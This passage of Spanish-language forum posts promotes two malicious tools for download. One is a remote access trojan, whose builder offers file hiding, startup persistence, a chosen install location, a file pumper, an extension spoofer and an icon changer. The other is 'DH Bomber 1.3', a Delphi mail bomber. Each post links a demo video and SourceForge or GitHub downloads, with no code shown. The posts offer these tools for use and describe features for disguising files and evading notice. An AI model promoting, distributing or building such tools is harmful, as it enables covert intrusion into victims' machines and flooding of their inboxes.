    [++] Regedit
    [++] Updates

    En el builder se tiene las siguientes opciones :

  • Se puede configurar si se quiere ocultar los archivos
  • Se puede configurar si se quiere cargar el Rat cada vez que inicie Windows
  • Se puede configurar donde se quiere instalar el Rat
  • File Pumper , Extension Spoofer y Icon Changer

    Una imagen :



    Un video con ejemplos de uso :

    [youtube=640,360]https://www.youtube.com/watch?v=0qMKKpPQvmo[/youtube]

    Si quieren bajar el programa lo pueden hacer de aca :

    SourceForge.
    Github.

    Eso seria todo.
#70
Programación General / [Delphi] DH Bomber 1.3
20 Marzo 2015, 14:35 PM
Version mejorada de este mail bomber en Delphi.

Una imagen :



Un video con ejemplos de uso :

[youtube=640,360]https://www.youtube.com/watch?v=QRJ0rBKTsG8[/youtube]

Si quieren bajar el programa lo pueden hacer de aca :

SourceForge.

Necesitan tener instalado Win32OpenSSL para que el programa les funcione.

Eso seria todo.